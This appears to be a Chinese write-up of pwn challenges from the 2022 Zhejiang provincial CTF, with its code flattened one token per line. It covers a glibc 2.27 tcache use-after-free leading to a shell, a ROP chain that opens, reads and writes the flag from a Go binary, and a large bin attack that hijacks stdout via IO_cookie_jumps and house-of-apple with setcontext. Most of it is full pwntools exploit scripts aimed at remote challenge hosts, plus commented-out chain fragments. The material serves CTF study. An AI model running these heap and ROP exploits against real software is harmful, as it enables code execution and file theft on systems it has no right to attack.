2.27的正常堆题
题目限制了add次数,只能add 7次,而且delet存在UAF占位 考虑UAF修改tcache chunk的key,使得无限free同一堆块填满tcache 溢出到UB,然后UAF leak libc 最后 UAF tcache poison 改free_hook 为one_gadget getshell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
|
def
exp():
global
r
global
libc
##r=process('./babyheap')
r
=
remote(
"1.14.97.218"
,
24360
)
libc
=
ELF(
"./libc-2.27.so"
)
## leak_heap
add(
0x7f
)
add(
0x7f
)
##add(0x7f)
##add(0x7f)
delet(
0
)
edit(
0
,
"nameless"
)
##z()
show(
0
)
r.recvuntil(
"nameless"
)
heapbase
=
u64(r.recv(
6
).ljust(
8
,
"\x00"
))
-
0x10
log.success(
"heapbase:"
+
hex
(heapbase))
##leak libc
for
i
in
range
(
0
,
7
):
edit(
0
,p64(
0
)
*
2
)
delet(
0
)
##z()
show(
0
)
r.recvuntil(
"\n"
)
libcbase
=
u64(r.recv(
6
).ljust(
8
,
'\x00'
))
-
0x3ebca0
log.success(
"libcbase:"
+
hex
(libcbase))
## set_libc func
free_hook
=
libcbase
+
libc.sym[
"__free_hook"
]
system
=
libcbase
+
libc.sym[
"system"
]
edit(
0
,p64(free_hook))
add(
0x7f
)
##,"/bin/sh\x00")
add(
0x7f
)
##,p64(system))
edit(
3
,p64(system))
edit(
0
,
"/bin/sh\x00"
)
##z()
delet(
0
)
r.interactive()
|
远程ld治好了的精神内耗
一道go语言栈溢出
发现连main函数入口都没有,简直逆不动(go语言的静态编译导致的elf本身就相当于c的libc,elf,ld等等的合集)
先简单测试一下,发现wsad分别对应了上下左右,输的话就可以直接走通迷宫:
然后紧接着应该是一个输入,测试测试有没有栈溢出,发现输入0x180个字节就报错了,并且rbp和rip是能被我们控制的
(ps:gdb调试设置好set follow-fork-mode parent和set detach-on-fork on才能不会因为system或exec这类函数卡死)
而且这个二进制文件里面的gadget非常的齐活,直接打ORW就好
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
def
up():
r.sendline(
"w"
)
def
down():
r.sendline(
"s"
)
def
right():
r.sendline(
"d"
)
def
exp():
global
r
global
libc
##global elf
r
=
process(
'./pwn'
)
for
i
in
range
(
5
):
down()
for
i
in
range
(
3
):
right()
for
i
in
range
(
3
):
up()
for
i
in
range
(
3
):
right()
up()
right()
up()
up()
##z()
## gadgets
pop_rdi_ret
=
0x4008f6
pop_rsi_ret
=
0x40416f
pop_rdx_ret
=
0x51d4b6
pop_rax_ret
=
0x400a4f
syscall
=
0x4025ab
leave_ret
=
0x4015cb
bss
=
0xAD1600
+
0x500
pd1
=
flat(
pop_rax_ret ,
0
, pop_rdi_ret ,
0
, pop_rsi_ret , bss , pop_rdx_ret ,
0x210
,
syscall , leave_ret
)
##z()
r.sendlineafter(
"flag\x00"
,
0x178
*
"a"
+
p64(bss)
+
pd1)
flag_addr
=
bss
+
0x200
pd
=
flat(
0
, pop_rax_ret ,
2
, pop_rdi_ret , flag_addr , pop_rsi_ret ,
0
, pop_rdx_ret ,
0
,
syscall , pop_rax_ret ,
0
, pop_rdi_ret ,
3
, pop_rsi_ret , flag_addr , pop_rdx_ret ,
0x210
,
syscall ,pop_rax_ret ,
1
, pop_rdi_ret ,
1
, pop_rsi_ret , flag_addr , pop_rdx_ret ,
0x210
,
syscall ,
0xdeadbeef
).ljust(
0x200
,
"a"
)
+
"./flag\x00"
r.sendline(pd)
r.interactive()
|
省赛300分最难pwn题的含金量
2.34魔改(不知道魔改了啥,本地调试的话直接用2204的2.35即可)
看看main:
很直接的菜单,_exit一眼house,但是不知道啥house,看看delet发现有UAF,show和edit都很常规
而add用的是calloc:
想到了pig,但是pig打ORW有点不太好打,但是基本能确定large bin attack了
attack啥呢?我一开始先试试打top_chunk,但是不行,原因是attack最后有一个add大堆块的操作,这个操作会使得top_chunk的地址抬高,覆盖,没办法触发kiwi的链子。于是我现找了一个链子——puts的stdout(真是比赛现找的):
如果largebin attack劫持stdout为chunk P,并且满足P的pre_size为0x8000(这个可以用空间复用实现),最后rdi就会赋值为P的堆地址。再看看接下来的流程:
发现这个流程和flash_all_lock_up长得只有那么像了,当rdi+0x30,也就是堆地址+0xc0的位置为0并且堆地址+0xd8(vtable)的位置符合IO的虚表的地址范围,就会跳vtable+0x38的函数
常用的跳表有三种,pig的IO_str_jumps、emma的IO_cookie_jumps以及apple的IO_wfile_jumps。但是apple当时不会,pig被排除,所以只能试试cookie_jumps,还真成了,在结束前30分钟本地通了。但是。。。这个B玩意要扬fs:0x30,fs就牵扯到ld表,这个玩意本地和远程偏移太不一样了,导致痛失300分
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
|
# -*- coding: utf-8 -*-
from
platform
import
libc_ver
from
pwn
import
*
from
hashlib
import
sha256
import
base64
context.log_level
=
'debug'
#context.arch = 'amd64'
context.arch
=
'amd64'
context.os
=
'linux'
rol
=
lambda
val, r_bits, max_bits: \
(val << r_bits
%
max_bits) & (
2
*
*
max_bits
-
1
) | \
((val & (
2
*
*
max_bits
-
1
)) >> (max_bits
-
(r_bits
%
max_bits)))
ror
=
lambda
val, r_bits, max_bits: \
((val & (
2
*
*
max_bits
-
1
)) >> r_bits
%
max_bits) | \
(val << (max_bits
-
(r_bits
%
max_bits)) & (
2
*
*
max_bits
-
1
))
def
proof_of_work(sh):
sh.recvuntil(
" == "
)
cipher
=
sh.recvline().strip().decode(
"utf8"
)
proof
=
mbruteforce(
lambda
x: sha256((x).encode()).hexdigest()
=
=
cipher, string.ascii_letters
+
string.digits, length
=
4
, method
=
'fixed'
)
sh.sendlineafter(
"input your ????>"
, proof)
##r=remote("123.57.69.203",7010)0xafa849b09b753ccd
##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"})
##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
def
z():
gdb.attach(r)
def
cho(num):
r.sendlineafter(
">>"
,
str
(num))
def
add(sz,con):
cho(
1
)
r.sendlineafter(
"Size:"
,
str
(sz))
r.sendafter(
"content"
,con)
##r.sendlineafter("idx:",str(idx))
def
delet(idx):
cho(
2
)
r.sendlineafter(
"idx:"
,
str
(idx))
def
edit(idx,con):
cho(
3
)
r.sendlineafter(
"idx"
,
str
(idx))
r.sendafter(
"Content"
,con)
def
show(idx):
cho(
4
)
r.sendlineafter(
"idx"
,
str
(idx))
def
exp(x):
global
r
global
libc
##global elf
r
=
remote(
"1.14.97.218"
,
23023
)
##r=process('./pwn')
libc
=
ELF(
"./libc.so.6"
)
## fengshui
add(
0x418
,
"nameless"
)
add(
0x410
,
"nameless"
)
add(
0x410
,
"ymnhymnh"
)
add(
0x420
,
"x1ngx1ng"
)
add(
0x420
,
"nameless"
)
delet(
3
)
##delet(2)
## leak_libcbase
##z()
show(
3
)
r.recvuntil(
"\n"
)
libcbase
=
u64(r.recv(
6
).ljust(
8
,
"\x00"
))
-
0x1f2cc0
log.success(
"libcbase:"
+
hex
(libcbase))
add(
0x430
,
"nameless"
)
## set_libc_func
l_main
=
0x1f30b0
+
libcbase
free_hook
=
libcbase
+
libc.sym[
"__free_hook"
]
stdout
=
libcbase
+
libc.sym[
"stdout"
]
IO_str_jumps
=
libcbase
+
0x1f3b58
-
0x38
fsbase
=
libcbase
-
0x28c0
+
x
godget
=
libcbase
+
0x146020
##libcbase+0x1482ba
setcontext
=
libcbase
+
0x50bc0
## leak_heapbase
##z()
edit(
3
,
"x1ngx1ng"
+
"nameless"
)
##z()
show(
3
)
r.recvuntil(
"nameless"
)
heapbase
=
u64(r.recv(
6
).ljust(
8
,
"\x00"
))
-
0xef0
log.success(
"heapbase:"
+
hex
(heapbase))
key
=
heapbase
+
0x6b0
chunk1
=
heapbase
+
0x6b0
chunk2
=
heapbase
+
0xef0
##z()
## set_orw
open_addr
=
libcbase
+
libc.sym[
'open'
]
read_addr
=
libcbase
+
libc.sym[
'read'
]
write_addr
=
libcbase
+
libc.sym[
'write'
]
pop_rdi_ret
=
libcbase
+
0x2daa2
pop_rsi_ret
=
libcbase
+
0x37c0a
pop_rdx_pop_rbx_ret
=
libcbase
+
0x87729
ret
=
libcbase
+
0xecd6c
flag_addr
=
key
+
0x310
chain
=
flat(
pop_rdi_ret , flag_addr , pop_rsi_ret ,
0
, open_addr,
pop_rdi_ret ,
3
, pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret ,
0x100
,
0
, read_addr,
pop_rdi_ret ,
1
, pop_rsi_ret, flag_addr , pop_rdx_pop_rbx_ret,
0x100
,
0
,write_addr
).ljust(
0x100
,
'\x00'
)
+
'./flag\x00'
##large bin attack 2 yang point gurad
edit(
3
,p64(l_main)
*
2
+
p64(heapbase
+
0xef0
)
+
p64(fsbase
+
0x30
-
0x20
))
delet(
1
)
##z()
add(
0x430
,
"nameless"
)
##z()
edit(
3
,p64(chunk1)
+
p64(l_main)
+
p64(chunk1)
*
2
)
edit(
1
,p64(l_main)
+
p64(chunk2)
*
3
)
##z()
add(
0x410
,
"nameless"
)
##large in attack 2 ORW
edit(
3
,p64(l_main)
*
2
+
p64(heapbase
+
0xef0
)
+
p64(stdout
-
0x20
))
pd
=
0xb0
*
'a'
+
p64(
0
)
pd
=
pd.ljust(
0xc8
,
'a'
)
+
p64(IO_str_jumps)
pd
=
pd.ljust(
0xd0
,
"a"
)
+
p64(key
+
0x100
)
pd
=
pd.ljust(
0xe0
,
"a"
)
+
p64(rol(key ^ godget,
0x11
,
64
))
pd
=
pd.ljust(
0xf8
,
"a"
)
+
p64(key
+
0x130
)
pd
=
pd.ljust(
0x140
,
"a"
)
+
p64(setcontext
+
61
)
pd
=
pd.ljust(
0x1c0
,
"a"
)
+
p64(key
+
0x210
)
+
p64(ret)
pd
=
pd.ljust(
0x200
,
"a"
)
+
chain
edit(
7
,pd)
delet(
7
)
edit(
0
,
0x410
*
"a"
+
p64(
0x8000
))
##z()
cho(
1
)
r.sendlineafter(
"Size:"
,
str
(
0x430
))
##r.recvuntil("flag")
flag
=
"flag{"
+
r.recvuntil(
"\x00"
,drop
=
True
)
print
(flag)
r.interactive()
if
__name__
=
=
'__main__'
:
while
(
1
):
i
=
-
0x1000
if
i
=
=
0x1000
:
break
else
:
try
:
exp(i)
except
:
continue
##setcontext and orw
''''
orw=p64(r4)+p64(2)+p64(r1)+p64(free_hook+0x28)+p64(syscall)
orw+=p64(r4)+p64(0)+p64(r1)+p64(3)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)
orw+=p64(r4)+p64(1)+p64(r1)+p64(1)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)
orw+=p64(0xdeadbeef)
pd=p64(gold_key)+p64(free_hook)
pd=pd.ljust(0x20,'\x00')+p64(setcontext+61)+'./flag\x00'
pd=pd.ljust(0xa0,'\x00')+p64(free_hook+0xb0)+orw0xafa849b09b753ccd
r.sendafter(">>",pd)
flag=r.recvline()
'''
##orw
'''
##[+]: set libc func
IO_file_jumps=0x1e54c0+libcbase
IO_helper_jumps=0x1e4980+libcbase
setcontext=libcbase+libc.sym['setcontext']
open_addr=libcbase+libc.sym['open']
read_addr=libcbase+libc.sym['read']
puts_addr=libcbase+libc.sym['puts']
pop_rdi_ret=libcbase+0x2858f
pop_rsi_ret=libcbase+0x2ac3f
pop_rdx_pop_rbx_ret=libcbase+0x1597d6
ret=libcbase+0x26699
##[+]: large bin attack to reset TLS
##z()
##edit(4,p64(libcbase+0x1e4230)+)
##[+]: orw
flag_addr = heap_base + 0x4770 + 0x100
chain = flat(
pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
pop_rdi_ret , flag_addr , puts_addr
).ljust(0x100,'\x00') + 'flag\x00'
'''
##banana
## b _dl_fini
## pwndbg> distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)
'''''
rop_chain = flat(pop_rdi_ret,bin_sh,ret,system_addr)
link_4_addr = heap_base + 0xcd0
fake_link_map = p64(0) + p64(0) + p64(0) + p64(link_4_addr)
fake_link_map += p64(magic) + p64(ret)
fake_link_map += p64(0)
fake_link_map += rop_chain
fake_link_map = fake_link_map.ljust(0xc8,'\0')
fake_link_map += p64(link_4_addr + 0x28 + 0x18) # RSP
fake_link_map += p64(pop_rdi_ret) # RCX RIP
fake_link_map = fake_link_map.ljust(0x100,'\x00')
fake_link_map += p64(link_4_addr + 0x10 + 0x110)*0x3
fake_link_map += p64(0x10)
fake_link_map = fake_link_map.ljust(0x31C - 0x10,'\x00')
fake_link_map += p8(0x8)
edit(1,'\0'*0x520+p64(link_4_addr + 0x20)) ##控prev_data
edit(2,fake_link_map)
'''
##pig
## p _IO_flush_all_lockp
''''
heap=heap+0x3b70
pd=p64(0)*3+p64(0x1c)+p64(0)+p64(heap)+p64(heap+26)
pd=pd.ljust(0xc8,b'\x00')
pd+=p64(_IO_str_jumps)
edit(3,pd)
'''
|
第一种办法是爆破,参考wjh大佬的博客:https://blog.wjhwjhn.com/archives/593/
第二种是起一个有pwndbg的docker,把题目环境加载进去然后gdb fsbase获取偏移。这个起环境在github上有一个叫PWNdockerAll的项目,是pig007大佬写的,笔者在使用2204的过程中遇到了一点问题,自己鼓捣将install.sh稍作修改,使得它能够支持目前最新的2204版本(pig007大佬写的时候是2.34的2204,不兼容主要是因为python3.10的模块引用问题,那个时候python3.10好像还没出),现也在github上开源:
apple 常用的是IO_wfile_overflow,期望的是前面执行je
然后跳转到:
这里有啥好东西呢?发现有个和io_cookie_jumps一样的东西:
好家伙,就是只少一个point gurad,直接卡死我300分。。。可恶啊
夜深了,不想再调了,卷Glibc都是精神内耗。。。。
kiwi触发->malloc_assert->fxprintf->vfxprintf->locked_vfxprintf->vfprintf_internal->apple
这个做法需要一个堆溢出:
UAF+size存数组可实现堆溢出:
假定相邻堆块chunk1和chunk2,chunk2和top_chunk相邻。设定chunk1为0x430大小(题目大小),然后free进UB。add0x410,切割chunk1然后free chunk2,这时候,chunk1就和top_chunk相邻了,而且是0x420大小。由于我们数组存的是0x430大小,所以在edit的时候成功溢出0x10字节。可以改top_chunk的size打kiwi
puts触发->apple
(ps此exp非题目所给libc,题目给的是魔改的2.34版本的libc,我用的2204的libc在本地打的)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
|
# -*- coding: utf-8 -*-
from
platform
import
libc_ver
from
pwn
import
*
from
hashlib
import
sha256
import
base64
context.log_level
=
'debug'
#context.arch = 'amd64'
context.arch
=
'amd64'
context.os
=
'linux'
rol
=
lambda
val, r_bits, max_bits: \
(val << r_bits
%
max_bits) & (
2
*
*
max_bits
-
1
) | \
((val & (
2
*
*
max_bits
-
1
)) >> (max_bits
-
(r_bits
%
max_bits)))
ror
=
lambda
val, r_bits, max_bits: \
((val & (
2
*
*
max_bits
-
1
)) >> r_bits
%
max_bits) | \
(val << (max_bits
-
(r_bits
%
max_bits)) & (
2
*
*
max_bits
-
1
))
def
proof_of_work(sh):
sh.recvuntil(
" == "
)
cipher
=
sh.recvline().strip().decode(
"utf8"
)
proof
=
mbruteforce(
lambda
x: sha256((x).encode()).hexdigest()
=
=
cipher, string.ascii_letters
+
string.digits, length
=
4
, method
=
'fixed'
)
sh.sendlineafter(
"input your ????>"
, proof)
##r=remote("123.57.69.203",7010)0xafa849b09b753ccd
##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"})
##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
def
z():
gdb.attach(r)
def
cho(num):
r.sendlineafter(
">>"
,
str
(num))
def
add(sz,con):
cho(
1
)
r.sendlineafter(
"Size:"
,
str
(sz))
r.sendafter(
"content"
,con)
##r.sendlineafter("idx:",str(idx))
def
delet(idx):
cho(
2
)
r.sendlineafter(
"idx:"
,
str
(idx))
def
edit(idx,con):
cho(
3
)
r.sendlineafter(
"idx"
,
str
(idx))
r.sendafter(
"Content"
,con)
def
show(idx):
cho(
4
)
r.sendlineafter(
"idx"
,
str
(idx))
def
exp():
global
r
global
libc
##global elf
r
=
remote(
"124.222.96.143"
,
10050
)
##r=process('./pwn')
libc
=
ELF(
"./libc.so.6"
)
## fengshui
add(
0x418
,
"nameless"
)
add(
0x410
,
"nameless"
)
add(
0x410
,
"ymnhymnh"
)
add(
0x420
,
"x1ngx1ng"
)
add(
0x420
,
"nameless"
)
delet(
3
)
##delet(2)
## leak_libcbase
##z()
show(
3
)
r.recvuntil(
"\n"
)
libcbase
=
u64(r.recv(
6
).ljust(
8
,
"\x00"
))
-
0x219ce0
log.success(
"libcbase:"
+
hex
(libcbase))
add(
0x430
,
"nameless"
)
## set_libc_func
l_main
=
0x219ce0
+
libcbase
free_hook
=
libcbase
+
libc.sym[
"__free_hook"
]
stdout
=
libcbase
+
libc.sym[
"stdout"
]
IO_wfile_jumps
=
libcbase
+
0x2160c0
-
0x20
fsbase
=
libcbase
-
0x28c0
godget
=
libcbase
+
0x1675b0
##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
setcontext
=
libcbase
+
0x53a30
## leak_heapbase
##z()
edit(
3
,
"x1ngx1ng"
+
"nameless"
)
##z()
show(
3
)
r.recvuntil(
"nameless"
)
heapbase
=
u64(r.recv(
6
).ljust(
8
,
"\x00"
))
-
0xef0
log.success(
"heapbase:"
+
hex
(heapbase))
key
=
heapbase
+
0x6b0
chunk1
=
heapbase
+
0x6b0
chunk2
=
heapbase
+
0xef0
##z()
## set_orw
open_addr
=
libcbase
+
libc.sym[
'open'
]
read_addr
=
libcbase
+
libc.sym[
'read'
]
write_addr
=
libcbase
+
libc.sym[
'write'
]
pop_rdi_ret
=
libcbase
+
0x2a3e5
pop_rsi_ret
=
libcbase
+
0x2be51
pop_rdx_pop_rbx_ret
=
libcbase
+
0x90529
ret
=
libcbase
+
0xf90e1
flag_addr
=
key
+
0x300
chain
=
flat(
pop_rdi_ret , flag_addr , pop_rsi_ret ,
0
, open_addr,
pop_rdi_ret ,
3
, pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret ,
0x100
,
0
, read_addr,
pop_rdi_ret ,
1
, pop_rsi_ret, flag_addr , pop_rdx_pop_rbx_ret,
0x100
,
0
,write_addr
).ljust(
0x100
,
'\x00'
)
+
'./flag\x00'
##large bin attack 2 apple
edit(
3
,p64(l_main)
*
2
+
p64(heapbase
+
0xef0
)
+
p64(stdout
-
0x20
))
pd
=
''
pd
=
pd.ljust(
0x90
,
"\x00"
)
+
p64(key
+
0xa0
)
pd
=
pd.ljust(
0xb0
,
'\x00'
)
+
p64(
0
)
pd
=
pd.ljust(
0xc8
,
'\x00'
)
+
p64(IO_wfile_jumps)
pd
=
pd.ljust(
0x130
,
'\x00'
)
+
p64(key
+
0x200
)
+
p64(ret)
pd
=
pd.ljust(
0x170
,
'\x00'
)
+
p64(key
+
0x180
)
pd
=
pd.ljust(
0x1d8
,
'\x00'
)
+
p64(setcontext
+
61
)
pd
=
pd.ljust(
0x1f0
,
'\x00'
)
+
chain
edit(
1
,pd)
delet(
1
)
edit(
0
,
0x410
*
"a"
+
p64(
0x8000
))
##z()
cho(
1
)
r.sendlineafter(
"Size:"
,
str
(
0x430
))
##r.recvuntil("flag")
##flag="flag{"+r.recvuntil("\x00",drop=True)
##print(flag)
r.interactive()
if
__name__
=
=
'__main__'
:
exp()
##setcontext and orw
''''
orw=p64(r4)+p64(2)+p64(r1)+p64(free_hook+0x28)+p64(syscall)
orw+=p64(r4)+p64(0)+p64(r1)+p64(3)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)
orw+=p64(r4)+p64(1)+p64(r1)+p64(1)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall)
orw+=p64(0xdeadbeef)
pd=p64(gold_key)+p64(free_hook)
pd=pd.ljust(0x20,'\x00')+p64(setcontext+61)+'./flag\x00'
pd=pd.ljust(0xa0,'\x00')+p64(free_hook+0xb0)+orw0xafa849b09b753ccd
r.sendafter(">>",pd)
flag=r.recvline()
'''
##orw
'''
##[+]: set libc func
IO_file_jumps=0x1e54c0+libcbase
IO_helper_jumps=0x1e4980+libcbase
setcontext=libcbase+libc.sym['setcontext']
open_addr=libcbase+libc.sym['open']
read_addr=libcbase+libc.sym['read']
puts_addr=libcbase+libc.sym['puts']
pop_rdi_ret=libcbase+0x2858f
pop_rsi_ret=libcbase+0x2ac3f
pop_rdx_pop_rbx_ret=libcbase+0x1597d6
ret=libcbase+0x26699
##[+]: large bin attack to reset TLS
##z()
##edit(4,p64(libcbase+0x1e4230)+)
##[+]: orw
flag_addr = heap_base + 0x4770 + 0x100
chain = flat(
pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
pop_rdi_ret , flag_addr , puts_addr
).ljust(0x100,'\x00') + 'flag\x00'
'''
##banana
## b _dl_fini
## pwndbg> distance &_rtld_global &(_rtld_global._dl_ns._ns_loaded->l_next->l_next->l_next)
'''''
rop_chain = flat(pop_rdi_ret,bin_sh,ret,system_addr)
link_4_addr = heap_base + 0xcd0
fake_link_map = p64(0) + p64(0) + p64(0) + p64(link_4_addr)
fake_link_map += p64(magic) + p64(ret)
fake_link_map += p64(0)
fake_link_map += rop_chain
fake_link_map = fake_link_map.ljust(0xc8,'\0')
fake_link_map += p64(link_4_addr + 0x28 + 0x18) # RSP
fake_link_map += p64(pop_rdi_ret) # RCX RIP
fake_link_map = fake_link_map.ljust(0x100,'\x00')
fake_link_map += p64(link_4_addr + 0x10 + 0x110)*0x3
fake_link_map += p64(0x10)
fake_link_map = fake_link_map.ljust(0x31C - 0x10,'\x00')
fake_link_map += p8(0x8)
edit(1,'\0'*0x520+p64(link_4_addr + 0x20)) ##控prev_data
edit(2,fake_link_map)
'''
##pig
## p _IO_flush_all_lockp
''''
heap=heap+0x3b70
pd=p64(0)*3+p64(0x1c)+p64(0)+p64(heap)+p64(heap+26)
pd=pd.ljust(0xc8,b'\x00')
pd+=p64(_IO_str_jumps)
edit(3,pd)
'''
|
更多【【2022浙江省赛】PWN题部分题解】相关视频教程:www.yxfzedu.com